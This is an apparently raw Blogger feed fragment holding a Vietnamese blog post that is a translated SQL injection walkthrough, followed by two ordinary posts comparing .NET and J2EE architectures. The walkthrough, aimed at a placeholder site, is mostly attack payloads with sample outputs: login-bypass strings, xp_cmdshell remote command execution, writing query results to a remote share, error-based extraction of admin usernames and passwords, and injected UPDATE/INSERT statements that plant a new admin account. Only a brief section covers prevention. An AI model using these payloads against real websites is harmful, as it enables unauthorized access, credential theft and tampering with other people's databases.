Injection&lt;br /&gt;6. Nhận output của SQL query&lt;br /&gt;7. Nhận data qua 'database using ODBC error message'&lt;br /&gt;8. Xác định tên của các column trong table&lt;br /&gt;9. Thu thập các dữ liệu quan trọng&lt;br /&gt;10. Nhận các numeric string&lt;br /&gt;11. Update/insert data vào CSDL&lt;br /&gt;12. Ngăn chặn SQL Injection&lt;br /&gt;13. Tài liệu thao khảo&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;1) SQL Injection là gì?&lt;/span&gt;&lt;br /&gt;SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, ...&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;2) Tìm kiếm mục tiêu&lt;/span&gt;&lt;br /&gt;Bạn có thể search các trang web cho phép submit data ở bất kì một search-engine nào trên mạng, chẳng hạn như các trang login, search, feedback, ...&lt;br /&gt;http://vịtcon/index.asp?id=10&lt;br /&gt;Một số trang web chuyển tham số qua các field ẩn, bạn phải xem mã HTML mới thấy rõ.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;3) Kiểm tra chỗ yếu của trang web&lt;/span&gt;&lt;br /&gt;Thử submit các field username, password hoặc field id, .. bằng hi' or 1=1--&lt;br /&gt;- Login: hi' or 1=1--&lt;br /&gt;- Pass: hi' or 1=1--&lt;br /&gt;- http://vịtcon/index.asp?id=hi' or 1=1--&lt;br /&gt;Nếu site chuyển tham số qua field ẩn, bạn hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. &lt;br /&gt;&lt;br /&gt;Nếu thành công, bạn có thể login vào mà không cần phải biết username và password&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;4) Tại sao ' or 1=1-- có thể bypass login?&lt;/span&gt;&lt;br /&gt;Giả sử như có một trang asp link đến một asp trang khác với URL như sau:&lt;br /&gt;http://vịtcon/index.asp?category=food&lt;br /&gt;Trong URL trên, biến 'category' được gán giá trị là 'food'. Mã asp của trang này có thể như sau (đây chỉ là ví dụ thôi):&lt;br /&gt;v_cat = request("category")&lt;br /&gt;sqlstr="SELECT * FROM product WHERE PCategory='" &amp; v_cat &amp; "'"&lt;br /&gt;set rs=conn.execute(sqlstr)&lt;br /&gt;v_cat sẽ chứa giá trị của biến request.category, 'food' và câu lệnh SQL tiếp theo sẽ là:&lt;br /&gt;SELECT * FROM product WHERE PCategory='food'&lt;br /&gt;Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory='food'&lt;br /&gt;Nếu bạn thay đổi URL trên thành http://vịtcon/index.asp?category=food' or 1=1-- , biến v_cat sẽ chứa giá trị "food' or 1=1-- " và dòng lệnh SQL query sẽ là:&lt;br /&gt;SELECT * FROM product WHERE PCategory='food' or 1=1--'&lt;br /&gt;Dòng query trên sẽ select mọi thứ trong table product bất chấp PCategory có bằng 'food' hay không. Hai dấu gạch ngang "--" chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau "--" sẽ bị bỏ qua. Đối với MySQL, bạn hãy thay "--" thành "#"&lt;br /&gt;Bạn cũng có thể thử cách khác bằng cách submit ' or 'a'='a. Dòng SQL query bây giờ sẽ là:&lt;br /&gt;SELECT * FROM product WHERE PCategory='food' or 'a'='a'&lt;br /&gt;Một số data khác mà bạn cũng nên submit để biết xem trang web có gặp lỗi hay không:&lt;br /&gt;' or 1=1--&lt;br /&gt;" or 1=1--&lt;br /&gt;or 1=1--&lt;br /&gt;' or 'a'='a&lt;br /&gt;" or "a"="a&lt;br /&gt;') or ('a'='a&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;5) Thi hành lệnh từ xa bằng SQL Injection&lt;/span&gt;&lt;br /&gt;Nếu cài đặt với chế độ default, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Bạn có thể dùng master..xp_cmdshell để thi hành lệnh từ xa:&lt;br /&gt;'; exec master..xp_cmdshell 'ping 10.10.1.2'--&lt;br /&gt;Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc.&lt;br /&gt;Dấu chấm phẩy (;) sẽ kết thúc dòng SQL query hiện tại và cho phép bạn thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, bạn có thể listen các ICMP packet from 10.10.1.2 bằng tcpdump như sau:&lt;br /&gt;#tcpdump icmp&lt;br /&gt;Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;6) Nhận output của SQL query&lt;/span&gt;&lt;br /&gt;Bạn có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML&lt;br /&gt;'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"&lt;br /&gt;folder "share" phải được share cho Everyone trước.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;7) Nhận data qua 'database using ODBC error message'&lt;/span&gt;&lt;br /&gt;Các error message của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://vịtcon/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer '10' với một string khác lấy từ CSDL:&lt;br /&gt;http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--&lt;br /&gt;System table INFORMATION_SCHEMA.TABLES chứa thông tin về tất cả các table có trên server. Field TABLE_NAME chứa tên của mỗi table trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:&lt;br /&gt;SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-&lt;br /&gt;Dòng query này sẽ trả về tên của table đầu tiên trong CSDL&lt;br /&gt;Khi chúng ta UNION string này với số integer 10, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:&lt;br /&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.&lt;br /&gt;/index.asp, line 5&lt;br /&gt;Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, "table1". Đây cũng chính là tên của table đầu tiên trong CSDL mà chúng ta đang muốn có.&lt;br /&gt;Để lấy tên của tên của table tiếp theo, bạn có thể dùng query sau:&lt;br /&gt;http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--&lt;br /&gt;Bạn cũng có thể search data bằng từ khóa LIKE:&lt;br /&gt;http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--&lt;br /&gt;Output:&lt;br /&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.&lt;br /&gt;/index.asp, line 5&lt;br /&gt;Mẫu so sánh '%25login%25' sẽ tương đương với %login% trong SQL Server. Như bạn thấy trong error message trên, chúng ta có thể xác định được tên của một table quan trọng là "admin_login".&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;8) Xác định tên của các column trong table&lt;/span&gt;&lt;br /&gt;Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Bạn có thể khai thác như sau:&lt;br /&gt;http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--&lt;br /&gt;Output:&lt;br /&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.&lt;br /&gt;/index.asp, line 5&lt;br /&gt;Như vậy tên của column đầu tiên là "login_id". Để lấy tên của các column tiếp theo, bạn có thể dùng mệnh đề logic NOT IN () như sau:&lt;br /&gt;http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--&lt;br /&gt;Output:&lt;br /&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.&lt;br /&gt;/index.asp, line 5&lt;br /&gt;Làm tương tự như trên, bạn có thể lấy được tên của các column còn lại như "password", "details". Bạn lấy tên của các column này qua error message error sau:&lt;br /&gt;http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--&lt;br /&gt;Output:&lt;br /&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e14'&lt;br /&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.&lt;br /&gt;/index.asp, line 5&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;9) Thu thập các dữ liệu quan trọng&lt;/span&gt;&lt;br /&gt;Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.&lt;br /&gt;Bạn có thể lấy login_name đầu tiên trong table "admin_login" như sau:&lt;br /&gt;http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--&lt;br /&gt;Output:&lt;br /&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.&lt;br /&gt;/index.asp, line 5&lt;br /&gt;Bạn dễ dàng nhận ra được admin user đầu tiên có login_name là "neo". Hãy thử lấy password của "neo" như sau:&lt;br /&gt;http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--&lt;br /&gt;Output:&lt;br /&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.&lt;br /&gt;/index.asp, line 5&lt;br /&gt;Bây giờ bạn có thể login vào với username là "neo" và password là "m4trix".&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;10) Nhận các numeric string&lt;/span&gt;&lt;br /&gt;Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của "trinity" là "31173".&lt;br /&gt;http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--&lt;br /&gt;Bạn chỉ nhận được thông báo lỗi "Page Not Found". Lí do bởi vì server có thể chuyển passoword "31173" sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:&lt;br /&gt;http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--&lt;br /&gt;Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASSCII code của '+' là 0x2b). Chúng ta thêm chuỗi '(space)morpheus' vào cuối password để tạo ra một string mới không phải numeric string là '31173 morpheus'. Khi hàm convert() được gọi để chuyển '31173 morpheus' sang integer, SQL server sẽ phát lỗi ODBC error message sau:&lt;br /&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.&lt;br /&gt;/index.asp, line 5&lt;br /&gt;Bây giờ bạn cũng có thể login vào với username 'trinity' và password là '31173'&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;11) Update/insert data vào CSDL&lt;/span&gt;&lt;br /&gt;Khi bạn đã có tên của tất cả các column trong table, bạn có thể UPDATE hoặc INSERT một record mới vào table này.&lt;br /&gt;Để thay đổi password của "neo", bạn có thể làm như sau:&lt;br /&gt;http://vịtcon/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--&lt;br /&gt;Hoặc nếu bạn muốn chèn một record mới vào table:&lt;br /&gt;http://vịtcon/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--&lt;br /&gt;Bây giờ bạn có thể login vào với username "neo2" và password là "newpas5"&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;12) Ngăn chặn SQL Injection&lt;/span&gt;&lt;br /&gt;Hãy loại bỏ các kí tự meta như '"/\; và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ:&lt;br /&gt;- input do người dùng đệ trình&lt;br /&gt;- các tham số từ URL&lt;br /&gt;- các giá trị từ cookie&lt;br /&gt;Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.&lt;br /&gt;Thay đổi "Startup and run SQL Server" dùng mức low privilege user trong tab SQL Server Security.&lt;br /&gt;Xóa các stored procedure mà bạn không dùng như:&lt;br /&gt;master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;13) Tài liệu thao khảo&lt;/span&gt;&lt;br /&gt;- How I hacked PacketStorm (Rain Forest Puppy) http://www.wiretrip.net/rfp/p/doc.asp?id=42&amp;iface=6&lt;br /&gt;- Great article on gathering information from ODBC error messages http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc&lt;br /&gt;- A good summary of SQL Injection on various SQL Server on http://www.owasp.org/asac/input_validation/sql.shtml&lt;br /&gt;- Senseport's article on reading SQL Injection http://www.sensepost.com/misc/SQLinsertion.htm&lt;br /&gt;- Khác: http://www.digitaloffense.net/wargames01/IOWargames.ppt, http://www.wiretrip.net/rfp/p/doc.asp?id=7&amp;iface=6, http://www.wiretrip.net/rfp/p/doc.asp?id=60&amp;iface=6, http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf&lt;br /&gt;&lt;br /&gt;* Bài viết này được dịch và sửa đổi từ bài viết "SQL Injection Walkthrough" của xfocus.net.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-6808625891453037502?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/6808625891453037502/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/10/tm-hiu-v-sql-injection.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/6808625891453037502'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/6808625891453037502'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/10/tm-hiu-v-sql-injection.html' title='Tìm hiểu về SQL Injection'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-7789962382819614937</id><published>2007-10-02T21:26:00.003+07:00</published><updated>2007-10-02T21:26:14.722+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software Engineer'/><title type='text'>Kiến trúc .NET trong mô hình ứng dụng thương mại điện tử</title><content type='html'>Trong bài viết trước, chúng ta đã tìm hiểu kiến trúc J2EE và mô hình áp dụng của nó trong ứng dụng thương mại điện tử. Bài viết này sẽ trình bày một kiến trúc khác được xem là đối thủ cạnh tranh của J2EE - kiến trúc .NET. Bài viết cũng sẽ tổng kết những điểm tương đồng và khác biệt giữa kiến trúc .NET và kiến trúc J2EE.&lt;br /&gt;&lt;br /&gt;Trong bài viết trước, chúng ta đã tìm hiểu kiến trúc J2EE và mô hình áp dụng của nó trong ứng dụng thương mại điện tử. Bài viết này sẽ trình bày một kiến trúc khác được xem là đối thủ cạnh tranh của J2EE - kiến trúc .NET. Bài viết cũng sẽ tổng kết những điểm tương đồng và khác biệt giữa kiến trúc .NET và kiến trúc J2EE.&lt;br /&gt;&lt;br /&gt;1. Tổng quan về kiến trúc .NET&lt;br /&gt;&lt;br /&gt;Như đã đề cập, J2EE không phải là một sản phẩm cụ thể mà chỉ là các đặc tả đưa ra bởi hãng Sun. Ngược lại, .NET là tập hợp các đặc tả, công nghệ, sản phẩm do Microsoft phát triển phục vụ cho việc phát triển các ứng dụng trên môi trường Internet, thương mại điện tử. Kiến trúc .NET bao gồm các thành phần chính sau:&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Hạ tầng và các công cụ phát triển của .NET&lt;br /&gt;&lt;br /&gt;Nền tảng và các công cụ phát triển ứng dụng của .NET bao gồm&lt;br /&gt;&lt;br /&gt;- Visual Studio .NET: bộ công cụ phát triển ứng dụng. Bạn có thể sử dụng các công cụ phát triển quen thuộc như Visual Basic, Visual C++ hoặc các công cụ lập trình mới như Visual C#. Các ngôn ngữ lập trình khác cũng được hỗ trợ dựa trên sự hợp tác với các hang thứ ba: COBOL từ Fujitsu, Eiffel từ Interactive Software Engineering, ? Điểm mạnh của kiến trúc .NET là hỗ trợ phát triển đa ngôn ngữ (multi language). Các chương trình viết bởi các ngôn ngữ khác nhau sẽ được chuyển đổi sang một ngôn ngữ trung gian thống nhất (Intermediary Language - IL). Các file IL này được đóng gói (packaging) thành các đơn thể phân phối, sau đó được biên dịch bởi bộ biên dịch tức thời (Just in time IL compiler) và thực thi trong môi trường có tên gọi môi trường thực thi chung (Common Language Runtime - CLR).&lt;br /&gt;&lt;br /&gt;- ASP.NET: là một thiết kế mới cho việc lập tình ở lớp hiển thị (presentation tier). ASP .NET được thiết kế nhằm đơn giản hoá việc lập trình trước thực trạng gia tǎng của các hệ thống máy khách (client) và các thiết bị đầu cuốI (device). Người lập trình không phải quan tâm nhiều đến việc phát triển giao diện cho nhiều loại máy khách thay vào đó họ chỉ phát triển một giao diện duy nhất ở mức hiển thị (trên cơ sở các đối tượng điều khiên GUI của ASP .NET), phần còn lại sẽ được điều phối và thực hiện bởi ASP .NET và môi trường thực thi chung CLR trên mỗi thiết bị, máy khách.&lt;br /&gt;&lt;br /&gt;- ADO.NET: trong mô hình kiến trúc .NET, lớp cơ sở dữ liệu (database tier) được mặc định là SQL Server. Tuy nhiên, để đảm bảo tính mở, ADO.NET được đưa ra như là giao diện giữa lớp xử lý nghiệp vụ (business tier) và lớp cơ sở dữ liệu. ADO.NET giữ vai trò tương tự như JDBC trong mô hình kiến trúc J2EE. Với giao diện này, các ưng dụng .NET có thể truy nhập đến các cơ sở dữ liệu khác như Oracle, DB2, ?&lt;br /&gt;&lt;br /&gt;- .NET Enterprise Server: tập hợp các sản phẩm dành cho máy chủ như: SQL Server, Application Server Center, Internet Security Acceleration Server (ISA Server), BizTalk Server, và Commerce Server.&lt;br /&gt;&lt;br /&gt;- .NET Framework: đây là phần cốt lõi của kiến trúc .NET hoạt động gắn chặt với hệ điều hành. Nó cung cấp môi trường để thực thi các ứng dụng .NET. Bạn có thể hình dung .NET Framework tương tự như mô hình máy ảo Java (Java Virtual Machine - JVM và Java Runtime Environment - JRE) trong kiến trúc J2EE. Các thành phần cơ bản của .NET Framework bao gồm:&lt;br /&gt;&lt;br /&gt;* Môi trường thực thi chung cho các mã chương trình .NET: CLR.&lt;br /&gt;* Bộ biên dịch tức thời: Just in time IL compiler.&lt;br /&gt;* Các thư viện chuẩn của hệ điều hành: Base Classes.&lt;br /&gt;* Các giao diện đối tượng thành phần COM+.&lt;br /&gt;&lt;br /&gt;Các dịch vụ cộng thêm của .NET&lt;br /&gt;&lt;br /&gt;Bao gồm các dịch vụ chia sẻ thông tin dùng chung cho các ứng dụng trong môi trường Internet:&lt;br /&gt;&lt;br /&gt;- .NET Passsport: có thể sử dụng cho việc xác thực người dùng (user authentication).&lt;br /&gt;- Các dịch vụ lưu trữ, quản lý file.&lt;br /&gt;- Dịch vụ quản lý thông tin người dùng.&lt;br /&gt;- Dịch vụ quản lý lịch làm việc (Calendar service).&lt;br /&gt;&lt;br /&gt;Các dịch vụ này có thể được cung cấp bởi Microsoft hoặc các đối tác của Microsoft.&lt;br /&gt;&lt;br /&gt;Ư'ng dụng của kiến trúc .NET trong mô hình thương mại điện tử&lt;br /&gt;&lt;br /&gt;2. So sánh hai kiến trúc .NET và J2EE&lt;br /&gt;&lt;br /&gt;2.1. Những điểm tương đồng giữa hai kiến trúc .NET và J2EE&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;(ko có hình)&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;2.2. Sự khác biệt giữa hai kiến trúc&lt;br /&gt;&lt;br /&gt;Khả nǎng hỗ trợ framework&lt;br /&gt;&lt;br /&gt;Điều quan tâm đầu tiên khi xây dựng một ứng dụng thương mại điện tử đó là lựa chọn mô hình phát triển (framework). Nó quyết định tới sự thành công của ứng dụng đặc biệt là đối với các ứng dụng có quy mô lớn. Một mô hình phát triển tốt có thể giảm thời gian, chi phí xây dựng ứng dụng ít nhất là 10 lần so với việc sử dụng chắp vá các công cụ khác nhau.&lt;br /&gt;&lt;br /&gt;Trong kiến trúc .NET mô hình phát triển này dựa trên thành phần có tên gọi Commerce Server. Với kiến trúc J2EE, bạn phải lựa chọn, kết nối các thành phần khác nhau để hình thành nên mô hình phát triển ứng dụng. Bản thân Sun không đưa ra mô hình phát triển ở dạng đóng gói nhưng có khá nhiểu sản phẩm từ các hãng thứ ba như: IBM WebSphere, và BEA WebLogic, ?&lt;br /&gt;&lt;br /&gt;Ngôn ngữ&lt;br /&gt;&lt;br /&gt;J2EE chỉ hỗ trợ ngôn ngữ lập trình Java và trong tương lai có lẽ cũng không có ngôn ngữ lập trình nào được hỗ trợ thêm bởi kiến trúc này. Trong khi đó .NET của Microsoft lại tiếp cận theo hướng hỗ trợ đa ngôn ngữ. Một nhóm phát triển ứng dụng .NET có thể sử dụng nhiều ngôn ngữ lập trình khác nhau tuỳ thuộc thế mạnh của từng cá nhân. Tuy nhiên, J2EE có đưa ra 2 cách tiếp cận để cho phép phát triển ứng dụng bởi nhiều ngôn ngữ lập trình khác nhau. Một là thông qua Java Native Interface, hai là tiếp cận sử dụng công nghệ CORBA.&lt;br /&gt;&lt;br /&gt;Sự lựa chọn ngôn ngữ lập trình không phải là yếu tố quyết định sự lựa chọn của bạn giữa kiến trúc J2EE hay .NET. Tất nhiên, nếu bạn muốn sử dụng một hoặc nhiều ngôn ngữ lập trình trong một dự án thì J2EE rõ ràng không phải là sự lựa chọn của bạn. Kiến trúc .NET có hỗ trợ một ngôn ngữ lập trình C# (đọc là C sharp). Đây là ngôn ngữ có cú pháp và phong cách lập trình gần giống với Java. Người lập trình Java có thể chuyển sang lập trình với C# chỉ trong vài giờ.&lt;br /&gt;&lt;br /&gt;Nếu bạn lựa chọn Java không phải bởi vấn đề ngôn ngữ mà bởi đặc tính khả chuyển thì J2EE là lựa chọn tốt hơn so với .NET. Chúng ta sẽ bàn thêm về tính khả chuyển trong phần dưới.&lt;br /&gt;&lt;br /&gt;Tính khả chuyển&lt;br /&gt;&lt;br /&gt;Tính khả chuyển là một đặc tính nổi bật của J2EE và ngôn ngữ lập trình Java. Một chương trình viết bởi Java được thực thi trên máy ảo Java (Java Virtual Machine) thay vì trực tiếp trên hệ điều hành cụ thể. Do đó mã chương trình có thể chuyển từ một hệ điều hành này sang một hệ điều hành khác (có hỗ trợ JVM) để thực thi một cách dễ dàng. Tính khả chuyển về hệ điều hành này của J2EE có được là do phần lớn các sản phẩm J2EE đều hỗ trợ cho nhiều hệ điều hành. Trong khi đó .NET chỉ bó buộc trong hệ điều hành Windows. Do vậy ứng dụng .NET gặp khó khǎn khi phân phối trên mạng.&lt;br /&gt;&lt;br /&gt;Kết luận&lt;br /&gt;&lt;br /&gt;Chúng ta đã có dịp cùng nhau tìm hiểu mô hình ứng dụng thương mại điện tử thể hiện qua hai kiến trúc điển hình được áp dụng phổ biến hiện nay là J2EE và .NET. Cần phải nhắc lại lần nữa J2EE chỉ là các đặc tả được đưa ra bởi hãng Sun, việc phát triển thành các sản phẩm đóng gói là do các hàng thứ ba đảm nhiệm (ví dụ: BEA WebLogic, IBM WebSphere). Ưu điểm của J2EE là tính khả chuyển: khả chuyển trong khía cạnh hãng phát triển sản phẩm lẫn khả chuyển đối với các hệ điều hành. Nhưng nhược điểm của J2EE là chỉ hỗ trợ một ngôn ngữ lập trình duy nhất đó là Java. Trên thực tế đôi khi sự lựa chọn hay chuyển đổi sang ngôn ngữ Java là không phù hợp đối với một số dạng nghiệp vụ.&lt;br /&gt;&lt;br /&gt;Kiến trúc .NET được đưa ra bởi Microsoft. Việc phát triển thành sản phẩm thương mại cũng do Microsoft tiến hành. Nhược điểm của kiến trúc này là chỉ hỗ trợ cho hệ điều hành Windows (điều mà có lẽ Microsoft cho là tiêu chí phát triển của mình từ trước đến nay). Hiện tại cũng chưa có thông tin nào cho thấy sự hỗ trợ của .NET đối với các hệ điều hành khác. Tuy nhiên ưu điểm của .NET là hỗ trợ phát triển ứng dụng đa ngôn ngữ - điều mà J2EE không hỗ trợ. Bên cạnh đó việc áp dụng kiến trúc .NET còn có một số thuận lợi sau: chi phí phát triển thấp, chi phí đầu tư hệ thống ban đầu thấp (so sánh với chi phí cho các hệ thống Unix).&lt;br /&gt;&lt;br /&gt;Việc lựa chọn kiến trúc nào cho việc phát triển ứng dụng phụ thuộc vào nhiểu yếu tố: phạm vi bài toán, môi trường triển khai, chi phí phát triển, bảo trì. Ngoài ra cũng cần xem xét đến khả nǎng nắm bắt sử dụng công nghệ của đội ngũ phát triển.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Chu Lâm Thái - Quan Tri Mang&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-7789962382819614937?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/7789962382819614937/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/10/kin-trc-net-trong-m-hnh-ng-dng-thng-mi.html#comment-form' title='1 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/7789962382819614937'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/7789962382819614937'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/10/kin-trc-net-trong-m-hnh-ng-dng-thng-mi.html' title='Kiến trúc .NET trong mô hình ứng dụng thương mại điện tử'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-7911826483362066942</id><published>2007-10-02T21:22:00.000+07:00</published><updated>2007-10-02T21:22:22.821+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software Engineer'/><title type='text'>Xây dựng khung ứng dụng J2EE với các mẫu thiết kế trong Java</title><content type='html'>Trong bài báo này chúng tôi muốn trình bày một phương án xây dựng một khung ứng dụng web hiệu quả mà các công ty trên thế giới như IBM, Oracle, Sun "áp dụng rất hiệu quả trong các dự án của họ. Điểm đặc biệt hơn nữa là khung ứng dụng này sử dụng các công nghệ mới nhất luôn mang tính cạnh tranh như EJB2.0 (J2EE), XML".&lt;br /&gt;&lt;br /&gt;Ư'ng dụng Web sử dụng J2EE (J2EE web application)&lt;br /&gt;&lt;br /&gt;Web application framework&lt;br /&gt;&lt;br /&gt;Công nghệ Internet đã và đang làm thay đổi hoàn toàn xu thế kinh doanh truyền thống, nó tạo ra một ?thị trường ảo không biên giới? trên Internet cho phép mọi khách hàng có thể duyệt và mua hàng ngày trên bàn làm việc của họ, đặc biệt mọi giao dịch này đều xảy ra trong thời gian thực. Các ứng dụng phục vụ cho mục đích này được gọi là ứng dụng thương mại điện tử (e-commerce application), đa số các trường hợp người dùng đều sử dụng ứng dụng này trên nền Web.&lt;br /&gt;&lt;br /&gt;Mặc dù có nhiều cách cũng như các ngôn ngữ lập trình khác nhau để xây dựng một ứng dụng Web, 